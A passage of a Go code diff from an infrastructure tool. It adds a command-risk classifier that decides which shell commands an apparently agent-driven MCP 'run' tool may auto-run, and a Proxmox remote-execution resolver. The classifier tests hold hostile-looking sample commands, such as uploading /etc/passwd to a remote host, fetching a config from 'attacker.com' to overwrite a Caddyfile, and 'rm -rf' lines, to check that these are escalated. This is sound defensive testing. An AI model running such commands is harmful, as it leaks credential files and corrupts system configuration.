// never auto-run, even if the visible verbs look read-only.
|
||||
if !subshellRe.MatchString(cmd) {
|
||||
if allSegmentsReadOnly(cmd) {
|
||||
if !subshellRe.MatchString(inner) {
|
||||
if allSegmentsReadOnly(inner) {
|
||||
return RiskReadOnly
|
||||
}
|
||||
}
|
||||
@@ -149,6 +194,70 @@ func computeCommandRisk(command string) string {
|
||||
return RiskConfigMutation
|
||||
}
|
||||
|
||||
// unwrapCommand peels known command wrappers to expose the inner command
|
||||
// for classification. It repeatedly strips:
|
||||
// - leading sudo
|
||||
// - leading FOO=bar env-var assignments
|
||||
// - `pct exec <id> [--] <inner>` → <inner>
|
||||
// - `qm guest exec <id> [--] <inner>` → <inner>
|
||||
// - `bash -c 'cmd'` / `sh -c "cmd"` → <cmd>
|
||||
//
|
||||
// When no wrapper is detected, the input is returned unchanged. The peel
|
||||
// is iterative so "sudo pct exec 121 -- bash -c 'echo hi'" reduces to
|
||||
// "echo hi" after a few passes. Compound commands (containing ;, &&, ||,
|
||||
// |) are returned unchanged — they need per-segment classification, which
|
||||
// the caller handles.
|
||||
func unwrapCommand(cmd string) string {
|
||||
probe := strings.TrimSpace(cmd)
|
||||
// A compound command cannot be unwrapped as a whole — the inner
|
||||
// command of "pct exec 121 -- foo; rm -rf /" depends on which side of
|
||||
// the ";" you're on. The caller splits compounds before classifying
|
||||
// each segment, and each segment is unwrapped independently. Bail out
|
||||
// here so we don't unwrap "pct exec 121 -- foo" and lose the rest.
|
||||
if compoundOpPattern.MatchString(probe) {
|
||||
return probe
|
||||
}
|
||||
for i := 0; i < 8; i++ { // bounded unwrap depth
|
||||
next := peelOneWrapper(probe)
|
||||
if next == probe {
|
||||
return probe
|
||||
}
|
||||
probe = strings.TrimSpace(next)
|
||||
}
|
||||
return probe
|
||||
}
|
||||
|
||||
// peelOneWrapper applies one peel step. Returns the input unchanged if no
|
||||
// wrapper matched.
|
||||
func peelOneWrapper(probe string) string {
|
||||
// sudo prefix
|
||||
if stripped := strings.TrimPrefix(probe, "sudo "); stripped != probe {
|
||||
return strings.TrimSpace(stripped)
|
||||
}
|
||||
// Env assignments: FOO=bar BAZ=qux <cmd>
|
||||
if envAssignRe.MatchString(probe) {
|
||||
return envAssignRe.ReplaceAllString(probe, "")
|
||||
}
|
||||
// pct exec <id> [--] <inner>
|
||||
if m := pctExecRe.FindStringSubmatch(probe); m != nil {
|
||||
return m[1]
|
||||
}
|
||||
// qm guest exec <id> [--] <inner>
|
||||
if m := qmGuestExecRe.FindStringSubmatch(probe); m != nil {
|
||||
return m[1]
|
||||
}
|
||||
// bash -c 'cmd' / sh -c "cmd" / sh -c cmd
|
||||
if m := shellDashCRe.FindStringSubmatch(probe); m != nil {
|
||||
// m[1] is the double-quoted form, m[2] is single-quoted, m[3] is bare.
|
||||
for _, g := range m[1:] {
|
||||
if g != "" {
|
||||
return g
|
||||
}
|
||||
}
|
||||
}
|
||||
return probe
|
||||
}
|
||||
|
||||
// allSegmentsReadOnly splits a compound command on chaining operators
|
||||
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
|
||||
// inspection verb. If so, the whole command is safe to auto-run. Any segment
|
||||
@@ -161,14 +270,49 @@ func allSegmentsReadOnly(cmd string) bool {
|
||||
if seg == "" {
|
||||
continue
|
||||
}
|
||||
// Unwrap wrappers per-segment too — "pct exec 121 -- systemctl
|
||||
// status caddy; pct exec 122 -- journalctl -u caddy" should reduce
|
||||
// to two read-only segments after unwrapping each.
|
||||
seg = unwrapCommand(seg)
|
||||
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
|
||||
probe := seg
|
||||
probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "")
|
||||
probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "")
|
||||
probe = strings.TrimPrefix(probe, "sudo ")
|
||||
probe = envAssignRe.ReplaceAllString(probe, "")
|
||||
probe = strings.TrimSpace(probe)
|
||||
// curl is handled by a dedicated check because GET (the default) is
|
||||
// read-only but POST/data/upload flags are not. The general
|
||||
// readOnlyLeadPattern can't distinguish these.
|
||||
if curlLeadRe.MatchString(probe) {
|
||||
if !curlIsReadOnly(probe) {
|
||||
return false
|
||||
}
|
||||
continue
|
||||
}
|
||||
// Any output redirection makes a verb non-read-only even if the
|
||||
// verb itself is (e.g. "curl url > /etc/passwd").
|
||||
if redirectOutRe.MatchString(probe) {
|
||||
return false
|
||||
}
|
||||
if !readOnlyLeadPattern.MatchString(probe) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return len(segments) > 0
|
||||
}
|
||||
|
||||
// curlIsReadOnly returns true if a curl command performs a GET (or HEAD)
|
||||
// without data/upload/output flags. POST/PUT/DELETE method overrides, -d/--data
|
||||
// payloads, -F/--form uploads, -T/--upload-file transfers, and -o/--output
|
||||
// file writes all disqualify the read-only path.
|
||||
func curlIsReadOnly(curlCmd string) bool {
|
||||
if !curlLeadRe.MatchString(curlCmd) {
|
||||
return false
|
||||
}
|
||||
if curlMutateRe.MatchString(curlCmd) {
|
||||
return false
|
||||
}
|
||||
if redirectOutRe.MatchString(curlCmd) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -32,6 +32,20 @@ func TestClassifyCommand_ReadOnly(t *testing.T) {
|
||||
"docker compose ps",
|
||||
"docker compose top",
|
||||
"docker compose config",
|
||||
// curl GET is read-only (P0.1 — plans/2026-07-20-session-review-ten-sessions.md).
|
||||
"curl http://192.168.8.214:5572/rc/core/stats",
|
||||
"curl -fsSL https://example.com/",
|
||||
"curl -I http://example.com/",
|
||||
"curl --head http://example.com/",
|
||||
// pct exec with a read-only inner command is now read-only (P0.1).
|
||||
"pct exec 132 systemctl status rclone-backup.timer",
|
||||
"pct exec 121 -- systemctl is-active caddy",
|
||||
"pct exec 121 -- journalctl -u caddy -n 50",
|
||||
"pct exec 121 -- bash -c 'echo hi'",
|
||||
"pct exec 121 -- bash -c 'systemctl status caddy'",
|
||||
"sudo pct exec 121 -- systemctl status caddy",
|
||||
// qm guest exec on a VM, read-only inner.
|
||||
"qm guest exec 100 -- systemctl status caddy",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
|
||||
@@ -92,7 +106,18 @@ func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
|
||||
cases := []string{
|
||||
"apt-get install -y nginx",
|
||||
"systemctl restart caddy",
|
||||
"pct exec 121 -- bash -c 'echo hi'",
|
||||
// `pct exec` wrapping a mutating inner command is config_mutation
|
||||
// (was previously config_mutation for ALL pct exec — now classified
|
||||
// by the inner command). The inner `pct exec 121 -- bash -c
|
||||
// 'systemctl restart caddy'` reduces to "systemctl restart caddy"
|
||||
// which is config_mutation.
|
||||
"pct exec 121 -- bash -c 'systemctl restart caddy'",
|
||||
"pct exec 132 systemctl restart rclone-backup.service",
|
||||
// curl with POST/data/upload flags is config_mutation (P0.1).
|
||||
"curl -X POST http://192.168.8.214:5572/rc/sync/sync -d '{}'",
|
||||
"curl --upload-file /etc/passwd http://example.com/upload",
|
||||
"curl -o /etc/caddy/Caddyfile http://attacker.com/Caddyfile",
|
||||
"curl http://example.com/ > /etc/caddy/Caddyfile",
|
||||
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
|
||||
"git push origin main",
|
||||
"docker compose up -d",
|
||||
@@ -160,3 +185,32 @@ func TestClassifyCommand_EmptyCommand(t *testing.T) {
|
||||
t.Errorf("empty command should default to config_mutation (escalate), got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// reversible_low is never computed from the command text — it can only arrive
|
||||
// as a declaration. These pin down the asymmetry that makes auto-running it
|
||||
// safe: a declaration may raise the class but never lower it, so the only
|
||||
// computed class reversible_low can accompany is read_only.
|
||||
func TestReversibleLowOnlyArrivesAsADeclaration(t *testing.T) {
|
||||
// Nothing in the command text alone yields reversible_low.
|
||||
for _, cmd := range []string{
|
||||
"systemctl restart nginx", "uptime", "cat /etc/os-release",
|
||||
"apt-get update", "docker restart web", "rm -rf /tmp/x",
|
||||
} {
|
||||
if got := ClassifyCommand(cmd, ""); got == RiskReversibleLow {
|
||||
t.Errorf("ClassifyCommand(%q, \"\") = reversible_low; the classifier should never compute it", cmd)
|
||||
}
|
||||
}
|
||||
|
||||
// Declaring it on a read-only command raises to reversible_low...
|
||||
if got := ClassifyCommand("uptime", RiskReversibleLow); got != RiskReversibleLow {
|
||||
t.Errorf("declared reversible_low over a read_only command = %q, want reversible_low", got)
|
||||
}
|
||||
|
||||
// ...but declaring it can never talk a riskier command down.
|
||||
if got := ClassifyCommand("apt-get upgrade -y", RiskReversibleLow); got == RiskReversibleLow {
|
||||
t.Error("declaring reversible_low must not lower a config_mutation command")
|
||||
}
|
||||
if got := ClassifyCommand("rm -rf /var/lib/x", RiskReversibleLow); got != RiskDestructive {
|
||||
t.Errorf("declaring reversible_low over a destructive command = %q, want destructive", got)
|
||||
}
|
||||
}
|
||||
|
||||
303
internal/remote/remote.go
Normal file
303
internal/remote/remote.go
Normal file
@@ -0,0 +1,303 @@
|
||||
// Package remote resolves how to execute a command on a target entity and
|
||||
// turns a plain shell command into whatever must be sent over the SSH
|
||||
// connection that reaches it.
|
||||
//
|
||||
// The canonical access model: a host or workstation is reached by direct SSH
|
||||
// to its address; an LXC or VM is NEVER SSH'd into directly — it is reached
|
||||
// through its owning Proxmox host via `pct exec` / `qm guest exec`. One SSH
|
||||
// credential per host (the host's root key), no per-guest keys, sshd, or
|
||||
// lan_ip required for execution. Network probes (http/ping) still hit a
|
||||
// guest's lan_ip directly; only command execution host-hops.
|
||||
//
|
||||
// This is the single resolver shared by the scheduler's check execution and
|
||||
// the MCP `run` tool. Previously they diverged — the scheduler SSHed guests
|
||||
// directly (broken for headless/keyless/mesh-only guests), while MCP
|
||||
// host-hopped (working). Keeping one path keeps them in lockstep.
|
||||
package remote
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// DefaultUser is the SSH user when an entity declares no ssh.user. The
|
||||
// Proxmox hosts and their guests are all administered as root.
|
||||
const DefaultUser = "root"
|
||||
|
||||
// ExecTarget is a resolved execution endpoint: the SSH address and user to
|
||||
// connect to, plus Wrap, which rewrites a plain command for transport.
|
||||
type ExecTarget struct {
|
||||
Host string
|
||||
User string
|
||||
// Wrap turns a plain shell command into the form that must be sent over
|
||||
// the SSH connection to this target: the identity function for a host,
|
||||
// `pct exec <id> -- bash -c 'echo <b64> | base64 -d | bash'` for an LXC,
|
||||
// the `qm guest exec` equivalent for a VM. The base64 round-trip keeps
|
||||
// nested quoting identical across both guest kinds.
|
||||
Wrap func(cmd string) string
|
||||
}
|
||||
|
||||
// IsGuest reports whether an entity type is reached via pct/qm exec through a
|
||||
// Proxmox host rather than by direct SSH. docker-container is reached via its
|
||||
// host's docker socket, not pct, so it is not a guest here.
|
||||
func IsGuest(entityType string) bool {
|
||||
return entityType == "lxc" || entityType == "vm"
|
||||
}
|
||||
|
||||
// ResolveHost resolves a `host:<slug>` to its reachable network address and
|
||||
// SSH user. Address preference: lan_ip, then public_ipv4, then mesh IP, then
|
||||
// mesh fqdn. Preferring public_ipv4 over mesh matters because the scheduler
|
||||
// container has no mesh interface — a standalone-server with only a mesh IP
|
||||
// (netbird-vps) was unreachable, and a public_ipv4 was sitting unused.
|
||||
//
|
||||
// fallbackUser is used when the entity declares no ssh.user; callers pass
|
||||
// their configured default (the scheduler uses "root", the MCP run tool uses
|
||||
// its configured OIKOS_SSH_USER).
|
||||
func ResolveHost(ctx context.Context, pool *db.Pool, hostSlug, fallbackUser string) (addr, user string, err error) {
|
||||
var raw string
|
||||
if err = pool.QueryRow(ctx, "SELECT attributes::text FROM entities WHERE slug = $1", hostSlug).Scan(&raw); err != nil {
|
||||
return "", "", fmt.Errorf("entity not found: %s", hostSlug)
|
||||
}
|
||||
var m map[string]any
|
||||
if err = json.Unmarshal([]byte(raw), &m); err != nil {
|
||||
return "", "", fmt.Errorf("parse attributes for %s: %w", hostSlug, err)
|
||||
}
|
||||
|
||||
if v, ok := m["lan_ip"].(string); ok && v != "" {
|
||||
addr = v
|
||||
} else if v, ok := m["public_ipv4"].(string); ok && v != "" {
|
||||
addr = v
|
||||
} else if mesh, ok := m["mesh"].(map[string]any); ok {
|
||||
if nb, ok := mesh["netbird"].(map[string]any); ok {
|
||||
if v, ok := nb["ip"].(string); ok && v != "" {
|
||||
addr = v
|
||||
} else if v, ok := nb["fqdn"].(string); ok && v != "" {
|
||||
addr = v
|
||||
}
|
||||
}
|
||||
}
|
||||
if addr == "" {
|
||||
return "", "", fmt.Errorf("no IP found for %s", hostSlug)
|
||||
}
|
||||
|
||||
user = fallbackUser
|
||||
if ssh, ok := m["ssh"].(map[string]any); ok {
|
||||
if u, ok := ssh["user"].(string); ok && u != "" {
|
||||
user = u
|
||||
}
|
||||
}
|
||||
return addr, user, nil
|
||||
}
|
||||
|
||||
// ResolveProxmoxHostSlug resolves the Proxmox host slug that owns a guest.
|
||||
// Resolution order: the hostAttr if non-empty (the entity's attributes.host,
|
||||
// stored without the "host:" prefix), the `hosts` relationship on the guest
|
||||
// (the canonical graph edge), then "hubris" as the documented default.
|
||||
//
|
||||
// entityID is the guest's entity id; the relationship lookup uses it
|
||||
// directly rather than a slug subquery.
|
||||
func ResolveProxmoxHostSlug(ctx context.Context, pool *db.Pool, entityID uuid.UUID, hostAttr string) string {
|
||||
hostSlug := strings.TrimSpace(hostAttr)
|
||||
// Only trust a clean token as a host name. The attribute is operator/
|
||||
// agent-writable and has been polluted with prose before ("hubris
|
||||
// (confirmed via pct config…)") — using that verbatim produces a slug that
|
||||
// never resolves. Treat anything with whitespace or parens as invalid and
|
||||
// fall back to the canonical `hosts` edge below.
|
||||
if strings.ContainsAny(hostSlug, " \t()") {
|
||||
hostSlug = ""
|
||||
}
|
||||
if hostSlug == "" {
|
||||
var relHostSlug string
|
||||
if err := pool.QueryRow(ctx, `
|
||||
SELECT e.slug FROM relationships r
|
||||
JOIN entities e ON e.id = r.source_id
|
||||
WHERE r.target_id = $1
|
||||
AND r.type = 'hosts' AND r.valid_to IS NULL
|
||||
LIMIT 1`, entityID).Scan(&relHostSlug); err == nil && relHostSlug != "" {
|
||||
hostSlug = relHostSlug
|
||||
}
|
||||
}
|
||||
if hostSlug == "" {
|
||||
hostSlug = "hubris" // documented default Proxmox host when unset
|
||||
}
|
||||
if !strings.HasPrefix(hostSlug, "host:") {
|
||||
hostSlug = "host:" + hostSlug
|
||||
}
|
||||
return hostSlug
|
||||
}
|
||||
|
||||
// ResolveExecTarget resolves a target slug (host:, lxc:, or vm:) to its
|
||||
// execution endpoint. This is the slug-based entry used by the MCP `run` tool.
|
||||
func ResolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug, fallbackUser string) (ExecTarget, error) {
|
||||
switch {
|
||||
case strings.HasPrefix(targetSlug, "host:"):
|
||||
addr, user, err := ResolveHost(ctx, pool, targetSlug, fallbackUser)
|
||||
if err != nil {
|
||||
return ExecTarget{}, err
|
||||
}
|
||||
return ExecTarget{Host: addr, User: user, Wrap: func(cmd string) string { return cmd }}, nil
|
||||
|
||||
case strings.HasPrefix(targetSlug, "lxc:"), strings.HasPrefix(targetSlug, "vm:"):
|
||||
var (
|
||||
id uuid.UUID
|
||||
pveID string
|
||||
typ string
|
||||
hostAttr string
|
||||
)
|
||||
if err := pool.QueryRow(ctx,
|
||||
"SELECT id, type, attributes->>'pve_id', COALESCE(attributes->>'host','') FROM entities WHERE slug = $1",
|
||||
targetSlug).Scan(&id, &typ, &pveID, &hostAttr); err != nil || pveID == "" {
|
||||
return ExecTarget{}, fmt.Errorf("guest not found or missing pve_id: %s", targetSlug)
|
||||
}
|
||||
hostSlug := ResolveProxmoxHostSlug(ctx, pool, id, hostAttr)
|
||||
addr, user, err := ResolveHost(ctx, pool, hostSlug, fallbackUser)
|
||||
if err != nil {
|
||||
return ExecTarget{}, err
|
||||
}
|
||||
return ExecTarget{Host: addr, User: user, Wrap: guestWrap(typ, pveID)}, nil
|
||||
}
|
||||
return ExecTarget{}, fmt.Errorf("unsupported target %q: must be host:<slug>, lxc:<slug>, or vm:<slug>", targetSlug)
|
||||
}
|
||||
|
||||
// ResolveExecTargetForCheck resolves an execution endpoint keyed by the
|
||||
// target's id and type — the data the scheduler has at check-execution time
|
||||
// (check_defs carry target_id + target_type, not a slug). Guests route via
|
||||
// pct/qm exec; everything else (hosts, workstations, services resolved to
|
||||
// their hosting machine) is reached by direct SSH to the entity's own address.
|
||||
func ResolveExecTargetForCheck(ctx context.Context, pool *db.Pool, targetID uuid.UUID, targetType, fallbackUser string) (ExecTarget, error) {
|
||||
if IsGuest(targetType) {
|
||||
return resolveGuest(ctx, pool, targetID, targetType, fallbackUser)
|
||||
}
|
||||
|
||||
// A service (or other non-compute target) has no address of its own — it
|
||||
// runs on whatever compute entity provides/hosts it. Resolve that host and
|
||||
// route through it: pct if the host is a guest, direct SSH (with the
|
||||
// host's correct user) if it's a machine. Previously a service check baked
|
||||
// its hosting LXC's lan_ip and SSHed it directly as root, which fails
|
||||
// because the scheduler key isn't in each LXC — only on the Proxmox hosts.
|
||||
if hostID, hostType, ok := hostingCompute(ctx, pool, targetID); ok {
|
||||
if IsGuest(hostType) {
|
||||
return resolveGuest(ctx, pool, hostID, hostType, fallbackUser)
|
||||
}
|
||||
addr, user, err := resolveHostByID(ctx, pool, hostID, fallbackUser)
|
||||
if err != nil {
|
||||
return ExecTarget{}, err
|
||||
}
|
||||
return ExecTarget{Host: addr, User: user, Wrap: func(cmd string) string { return cmd }}, nil
|
||||
}
|
||||
|
||||
// No hosting entity found: reach the target directly at its own address
|
||||
// (a host/workstation, or a service whose host wasn't resolvable).
|
||||
addr, user, err := resolveHostByID(ctx, pool, targetID, fallbackUser)
|
||||
if err != nil {
|
||||
return ExecTarget{}, err
|
||||
}
|
||||
return ExecTarget{Host: addr, User: user, Wrap: func(cmd string) string { return cmd }}, nil
|
||||
}
|
||||
|
||||
// hostingCompute walks the provides/runs-on/hosts edges backward from a target
|
||||
// to the compute entity that runs it (a service's LXC, an LXC's Proxmox host).
|
||||
// Returns the host's id, type, and whether one was found. Most-specific edge
|
||||
// first: provides names the runtime container directly.
|
||||
func hostingCompute(ctx context.Context, pool *db.Pool, targetID uuid.UUID) (uuid.UUID, string, bool) {
|
||||
var hid uuid.UUID
|
||||
var htype string
|
||||
err := pool.QueryRow(ctx, `
|
||||
SELECT e.id, e.type FROM relationships r
|
||||
JOIN entities e ON e.id = r.source_id
|
||||
WHERE r.target_id = $1 AND r.valid_to IS NULL
|
||||
AND r.type IN ('provides','runs-on','hosts')
|
||||
ORDER BY CASE r.type WHEN 'provides' THEN 0 WHEN 'runs-on' THEN 1 ELSE 2 END
|
||||
LIMIT 1`, targetID).Scan(&hid, &htype)
|
||||
if err != nil {
|
||||
return uuid.Nil, "", false
|
||||
}
|
||||
return hid, htype, true
|
||||
}
|
||||
|
||||
// resolveGuest resolves a guest's execution endpoint: the owning Proxmox host
|
||||
// (SSH'd directly) with a pct/qm exec wrapper around the command.
|
||||
func resolveGuest(ctx context.Context, pool *db.Pool, guestID uuid.UUID, guestType, fallbackUser string) (ExecTarget, error) {
|
||||
var pveID, hostAttr string
|
||||
if err := pool.QueryRow(ctx,
|
||||
"SELECT attributes->>'pve_id', COALESCE(attributes->>'host','') FROM entities WHERE id = $1",
|
||||
guestID).Scan(&pveID, &hostAttr); err != nil || pveID == "" {
|
||||
return ExecTarget{}, fmt.Errorf("guest %s missing pve_id", guestID)
|
||||
}
|
||||
hostSlug := ResolveProxmoxHostSlug(ctx, pool, guestID, hostAttr)
|
||||
addr, user, err := ResolveHost(ctx, pool, hostSlug, fallbackUser)
|
||||
if err != nil {
|
||||
return ExecTarget{}, err
|
||||
}
|
||||
return ExecTarget{Host: addr, User: user, Wrap: guestWrap(guestType, pveID)}, nil
|
||||
}
|
||||
|
||||
// resolveHostByID is ResolveHost keyed by entity id.
|
||||
func resolveHostByID(ctx context.Context, pool *db.Pool, id uuid.UUID, fallbackUser string) (addr, user string, err error) {
|
||||
var raw string
|
||||
if err = pool.QueryRow(ctx, "SELECT attributes::text FROM entities WHERE id = $1", id).Scan(&raw); err != nil {
|
||||
return "", "", fmt.Errorf("entity %s not found", id)
|
||||
}
|
||||
var m map[string]any
|
||||
if err = json.Unmarshal([]byte(raw), &m); err != nil {
|
||||
return "", "", fmt.Errorf("parse attributes: %w", err)
|
||||
}
|
||||
for _, key := range []string{"lan_ip", "public_ipv4", "mesh_ip"} {
|
||||
if v, ok := m[key].(string); ok && v != "" {
|
||||
addr = v
|
||||
break
|
||||
}
|
||||
}
|
||||
if addr == "" {
|
||||
if mesh, ok := m["mesh"].(map[string]any); ok {
|
||||
if nb, ok := mesh["netbird"].(map[string]any); ok {
|
||||
if v, ok := nb["ip"].(string); ok && v != "" {
|
||||
addr = v
|
||||
} else if v, ok := nb["fqdn"].(string); ok && v != "" {
|
||||
addr = v
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if addr == "" {
|
||||
return "", "", fmt.Errorf("no IP found for entity %s", id)
|
||||
}
|
||||
user = fallbackUser
|
||||
if ssh, ok := m["ssh"].(map[string]any); ok {
|
||||
if u, ok := ssh["user"].(string); ok && u != "" {
|
||||
user = u
|
||||
}
|
||||
}
|
||||
if u, ok := m["user"].(string); ok && u != "" && user == fallbackUser {
|
||||
// Workstations carry their login as a top-level `user` attribute
|
||||
// (mac-mini: user: dtoro), not under ssh.user. Take it only when no
|
||||
// explicit ssh.user was set, so a host that genuinely wants root still
|
||||
// gets root.
|
||||
user = u
|
||||
}
|
||||
return addr, user, nil
|
||||
}
|
||||
|
||||
// guestWrap builds the pct/qm exec wrapper for a guest of the given type.
|
||||
func guestWrap(entityType, pveID string) func(cmd string) string {
|
||||
if entityType == "vm" {
|
||||
return func(cmd string) string {
|
||||
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||
// `qm guest exec` returns JSON; pipe through jq for a clean stdout,
|
||||
// falling back to the raw form. Mirrors the LXC base64 round-trip.
|
||||
return fmt.Sprintf(
|
||||
"qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash' | jq -r '.out // .err // empty' 2>/dev/null || qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash'",
|
||||
pveID, b64, pveID, b64)
|
||||
}
|
||||
}
|
||||
return func(cmd string) string {
|
||||
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", pveID, b64)
|
||||
}
|
||||
}
|
||||
203
internal/remote/remote_test.go
Normal file
203
internal/remote/remote_test.go
Normal file
@@ -0,0 +1,203 @@
|
||||
package remote
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// guestWrap and IsGuest are pure logic — always tested. The DB-backed
|
||||
// resolvers are integration tests guarded by OIKOS_TEST_DATABASE_URL, the
|
||||
// same convention as internal/scheduler/coverage_test.go.
|
||||
|
||||
func TestIsGuest(t *testing.T) {
|
||||
cases := map[string]bool{
|
||||
"lxc": true, "vm": true,
|
||||
"proxmox-host": false, "workstation": false,
|
||||
"service": false, "docker-container": false,
|
||||
}
|
||||
for typ, want := range cases {
|
||||
if got := IsGuest(typ); got != want {
|
||||
t.Errorf("IsGuest(%q) = %v, want %v", typ, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGuestWrapLXC(t *testing.T) {
|
||||
w := guestWrap("lxc", "132")
|
||||
out := w("/opt/oikos/checks/cpu_check.sh 'svc'")
|
||||
if !strings.Contains(out, "pct exec 132 -- bash -c ") {
|
||||
t.Fatalf("lxc wrap must use pct exec: %q", out)
|
||||
}
|
||||
if strings.Contains(out, "qm guest exec") {
|
||||
t.Fatalf("lxc wrap must not use qm: %q", out)
|
||||
}
|
||||
// The base64 payload must round-trip to the original command.
|
||||
i := strings.Index(out, "echo ")
|
||||
j := strings.LastIndex(out, " | base64 -d | bash")
|
||||
if i < 0 || j < 0 || j <= i {
|
||||
t.Fatalf("cannot locate base64 payload in %q", out)
|
||||
}
|
||||
dec, err := base64.StdEncoding.DecodeString(out[i+len("echo ") : j])
|
||||
if err != nil {
|
||||
t.Fatalf("decode payload: %v", err)
|
||||
}
|
||||
if string(dec) != "/opt/oikos/checks/cpu_check.sh 'svc'" {
|
||||
t.Fatalf("round-trip mismatch: %q", string(dec))
|
||||
}
|
||||
}
|
||||
|
||||
func TestGuestWrapVM(t *testing.T) {
|
||||
w := guestWrap("vm", "108")
|
||||
out := w("uname -a")
|
||||
if !strings.Contains(out, "qm guest exec 108") {
|
||||
t.Fatalf("vm wrap must use qm guest exec: %q", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecTargetUnsupported(t *testing.T) {
|
||||
// No DB needed: an unsupported slug prefix errors before any query.
|
||||
if _, err := ResolveExecTarget(context.Background(), nil, "service:gitea", DefaultUser); err == nil {
|
||||
t.Fatal("expected error for unsupported target prefix")
|
||||
}
|
||||
}
|
||||
|
||||
// --- integration tests (require a real Postgres) ---
|
||||
|
||||
func newRemotePool(t *testing.T) *db.Pool {
|
||||
t.Helper()
|
||||
base := testDatabaseURL(t)
|
||||
return createTestDB(t, base)
|
||||
}
|
||||
|
||||
func testDatabaseURL(t *testing.T) string {
|
||||
t.Helper()
|
||||
u := getenvOrDefault("OIKOS_TEST_DATABASE_URL", "")
|
||||
if u == "" {
|
||||
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||
}
|
||||
return u
|
||||
}
|
||||
|
||||
func TestResolveHostPrefersLAN(t *testing.T) {
|
||||
pool := newRemotePool(t)
|
||||
ctx := context.Background()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'host:x','proxmox-host','x','active','{"lan_ip":"10.0.0.1","public_ipv4":"1.2.3.4","mesh":{"netbird":{"ip":"100.64.0.1"}}}'::jsonb,1,now(),now())`,
|
||||
uuid.New())
|
||||
|
||||
addr, user, err := ResolveHost(ctx, pool, "host:x", DefaultUser)
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveHost: %v", err)
|
||||
}
|
||||
if addr != "10.0.0.1" {
|
||||
t.Errorf("addr = %q, want lan_ip 10.0.0.1", addr)
|
||||
}
|
||||
if user != "root" {
|
||||
t.Errorf("user = %q, want root", user)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveHostFallsBackToPublicIPv4(t *testing.T) {
|
||||
// netbird-vps: no lan_ip, has public_ipv4 + mesh ip. Must prefer
|
||||
// public_ipv4 — the scheduler container has no mesh interface.
|
||||
pool := newRemotePool(t)
|
||||
ctx := context.Background()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'host:vps','standalone-server','vps','active','{"public_ipv4":"82.165.190.79","mesh":{"netbird":{"ip":"100.122.165.149"}}}'::jsonb,1,now(),now())`,
|
||||
uuid.New())
|
||||
|
||||
addr, _, err := ResolveHost(ctx, pool, "host:vps", DefaultUser)
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveHost: %v", err)
|
||||
}
|
||||
if addr != "82.165.190.79" {
|
||||
t.Errorf("addr = %q, want public_ipv4 (mesh unreachable from container)", addr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecTargetForCheckLXCRoutesViaHost(t *testing.T) {
|
||||
// An LXC guest with a `hosts` edge to a proxmox host must resolve to the
|
||||
// HOST's address (the host-hop target), wrapped as `pct exec`.
|
||||
pool := newRemotePool(t)
|
||||
ctx := context.Background()
|
||||
hostID := uuid.New()
|
||||
guestID := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'host:hubris','proxmox-host','hubris','active','{"lan_ip":"192.168.8.77"}'::jsonb,1,now(),now())`, hostID)
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'lxc:rclone','lxc','rclone','active','{"pve_id":"132"}'::jsonb,1,now(),now())`, guestID)
|
||||
mustExec(t, pool, ctx, `INSERT INTO relationships (source_id, target_id, type, valid_from, created_at)
|
||||
VALUES ($1,$2,'hosts',now(),now())`, hostID, guestID)
|
||||
|
||||
et, err := ResolveExecTargetForCheck(ctx, pool, guestID, "lxc", DefaultUser)
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveExecTargetForCheck: %v", err)
|
||||
}
|
||||
if et.Host != "192.168.8.77" {
|
||||
t.Errorf("Host = %q, want proxmox host lan_ip 192.168.8.77 (host-hop)", et.Host)
|
||||
}
|
||||
out := et.Wrap("/opt/oikos/checks/cpu_check.sh")
|
||||
if !strings.Contains(out, "pct exec 132") {
|
||||
t.Errorf("guest wrap must use pct exec 132, got %q", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecTargetForCheckHostIsDirect(t *testing.T) {
|
||||
// A host-like target resolves to its own address with identity wrap.
|
||||
pool := newRemotePool(t)
|
||||
ctx := context.Background()
|
||||
hid := uuid.New()
|
||||
